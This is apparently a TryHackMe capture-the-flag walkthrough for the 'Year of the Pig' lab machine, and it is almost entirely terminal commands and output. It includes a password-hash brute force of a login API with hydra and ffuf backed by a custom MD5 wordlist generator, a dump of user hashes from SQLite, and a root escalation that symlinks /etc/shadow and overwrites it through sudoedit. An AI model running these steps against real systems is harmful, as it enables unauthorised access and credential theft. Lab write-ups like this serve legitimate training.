Year of the Pig

10.10.139.77 pig.thm

┌──(hungnt㉿kali)-[~]
└─$ rustscan -a pig.thm -r 1-65535 -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 9899F13BCC614EE8275B88FFDC0D04DB
|_http-title: Marco's Blog
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
...

┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://pig.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100

┌──(hungnt㉿kali)-[~/Desktop]
└─$ grep -E '^[A-Za-z]+[0-9]{2}[^A-Za-z0-9]$' /usr/share/wordlists/rockyou.txt > passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt                                                                                                                                      
21937 passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords.txt 
hannie55?
AZUL05+
sweet16!
cool12!
asssucker10-
mikh11!
dodgers94.
sweet16.
sup23@
sausage06*

┌──(hungnt㉿kali)-[~/Desktop]
└─$ while read -r line; do
    echo -n "$line" | md5sum | awk '{print $1}'
done < passwords.txt > passwords_md5.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords_md5.txt 
de5838c9be309d350bcb5f9836b0356a
a8df2453f9539e42dd587a61a951bfae
1b55da0ab6119fb99e582756e67642a0
e176fa3fb47bedb7226460266e6853c9
735586ba652f8efd1c814390e8b59a10
2e2e2b16768f165795ed8e4119c60276
4ea713da71ca607603953e2cce045341
9a454b328a119ed2eadf1bb2811f2b11
433ce7d545e758d68865511835a155fb
9f825a175656c5499ae12d47212fd8b1

┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l marco -P passwords_md5.txt pig.thm http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Incorrect' -V

┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -w passwords_md5.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 64 -fs 63

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cewl -d 5 http://pig.thm -w words.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l words.txt 
167 words.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 words.txt 
the
and
but
About
planes
now
time
know
there
Planes
years
all
was
Marco
flying
for
Italian
like
behind
ago

#!/usr/bin/env python3
import sys
import hashlib

# Define which special characters to use
SPECIALS = "!@#$%^&*"

def base_variants(word: str):
    """Return the 3 base variants of a word."""
    word = word.strip()
    if not word:
        return []
    return [word.lower(), word.upper(), word.capitalize()]

def generate(word: str):
    """Generate word[0-9][0-9][special] variants for each base form."""
    for variant in base_variants(word):
        for d in range(100):  # 00 to 99
            for ch in SPECIALS:
                pwd = f"{variant}{d:02d}{ch}"
                yield pwd

def md5_hash(text: str) -> str:
    """Return the MD5 hash of the text."""
    return hashlib.md5(text.encode()).hexdigest()

def main(input_file, output_file):
    # "w" mode ensures the file is overwritten each run
    with open(input_file, "r", encoding="utf-8", errors="ignore") as infile, \
         open(output_file, "w", encoding="utf-8") as outfile:
        
        for line in infile:
            word = line.strip()
            for pwd in generate(word):
                outfile.write(md5_hash(pwd) + "\n")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <input_wordlist> <output_file>")
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])

┌──(hungnt㉿kali)-[~/Desktop]
└─$ py gen.py words.txt passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt 
400800 passwords.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 passwords.txt 
c6147f769ab7c56f89c2f08dc168ee18
d5db5a2cb62b89b2bba66dfd5951c56a
44743742c135fa7c4bf1f5b08c325d11
ef77b29744eecd64c30f9a70f9f6e3ef
96ee22559234b5b977d7c3104359b6f1
7f21d5653a8d4e99303689ffada67219
0a04f1f70a1292839340e88313ef38ee
dad79978d9574b27973dc505801f391d
dd36594a77b75b7d71e030848490905a
1ebda87b5f6ea690d7576a7418ba378e
d06b66dc64f845ee9e5c1cc2c906969b
ca10cfcd98a7333e8c1b8f644f21ad39
14742cf984eb364b3c83d94274aebe8d
d1c48dc536d90775dc504c4dfe339665
6cb1e50aa088be3531a651b3244076bd
16bc325e67fea04eeed3e143b085fec3
c2209d0ef8c54993ebdc5bc8c2962744
08cab14daaa6e9342461d0f99ae529a6
531b5ac5dd56c4f2b6d2cb4a68d55824
2d504c1042335e8584ed13369728b8e9

ffuf -w passwords.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 100 -fs 63

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat passwords.txt | grep ea22b622ba9b3c41b22785dcb40211ac -n
72169:ea22b622ba9b3c41b22785dcb40211ac

marco@year-of-the-pig:~$ cd ~
marco@year-of-the-pig:~$ ls -la
total 24
drwxr-xr-x 2 marco marco 4096 Aug 22  2020 .
drwxr-xr-x 4 root  root  4096 Aug 16  2020 ..
lrwxrwxrwx 1 root  root     9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 marco marco 3771 Apr  4  2018 .bashrc
-r-------- 1 marco marco   38 Aug 22  2020 flag1.txt
-rw-r--r-- 1 marco marco  807 Apr  4  2018 .profile
marco@year-of-the-pig:~$ cat flag1.txt 
THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl}

www-data@year-of-the-pig:/var/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ww$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@year-of-the-pig:/var/www$ sqlite3 admin.db
sqlite3 admin.db
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .tables
.tables
sessions  users   
sqlite> .schema users
.schema users
CREATE TABLE users (
userID TEXT UNIQUE PRIMARY KEY,
username TEXT UNIQUE,
password TEXT);
sqlite> select * from users;
select * from users;
58a2f366b1fd51e127a47da03afc9995|marco|ea22b622ba9b3c41b22785dcb40211ac
f64ccfff6f64d57b121a85f9385cf256|curtis|a80bfe309ecaafcea1ea6cb3677971f2

marco@year-of-the-pig:/var/www/html/admin$ su curtis
Password: 
curtis@year-of-the-pig:/var/www/html/admin$ cd ~
curtis@year-of-the-pig:~$ ls -la
total 28
drwxr-xr-x 3 curtis curtis 4096 Sep  3 09:59 .
drwxr-xr-x 4 root   root   4096 Aug 16  2020 ..
lrwxrwxrwx 1 root   root      9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 curtis curtis  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 curtis curtis 3771 Apr  4  2018 .bashrc
-r-------- 1 curtis curtis   38 Aug 22  2020 flag2.txt
drwx------ 3 curtis curtis 4096 Sep  3 09:59 .gnupg
-rw-r--r-- 1 curtis curtis  807 Apr  4  2018 .profile
curtis@year-of-the-pig:~$ cat flag2.txt 
THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}

curtis@year-of-the-pig:~$ exit
exit
marco@year-of-the-pig:~$ cd /var/www/html
marco@year-of-the-pig:/var/www/html$ cd assets/img/
marco@year-of-the-pig:/var/www/html/assets/img$ ln -s /etc/shadow ./config.php
marco@year-of-the-pig:/var/www/html/assets/img$ ls -la
total 188
drwxrwxr-x 2 www-data web-developers   4096 Sep  3 10:42 .
drwxrwxr-x 4 www-data web-developers   4096 Aug 20  2020 ..
-rw-r--r-- 1 root     root              156 May 15  2020 arrow.png
lrwxrwxrwx 1 marco    marco              11 Sep  3 10:42 config.php -> /etc/shadow
-rwxrwxr-x 1 www-data web-developers 106905 Aug 17  2020 favicon.ico
-rwxrwxr-x 1 www-data web-developers  66886 Aug 16  2020 plane.png

curtis@year-of-the-pig:/var/www/html/assets/img$ /usr/bin/sudoedit /var/www/html/assets/img/config.php

┌──(hungnt㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1337 password
$6$1337$w9cUtLoSVMBl27Kk/NGCP0ucMv4aKOlwGhDH/AvXhLityyxdqJ863tqopSAYwGvs0.ySgy8MzOjGJV3MtXM7a1

root@year-of-the-pig:~# ls -la
total 36
drwx------  5 root root 4096 Aug 22  2020 .
drwxr-xr-x 22 root root 4096 Aug 16  2020 ..
lrwxrwxrwx  1 root root    9 Aug 16  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug 16  2020 .cache
drwx------  3 root root 4096 Aug 16  2020 .gnupg
drwxr-xr-x  3 root root 4096 Aug 21  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   38 Aug 22  2020 root.txt
-rw-r--r--  1 root root   42 Aug 16  2020 .vimrc
root@year-of-the-pig:~# cat root.txt 
THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}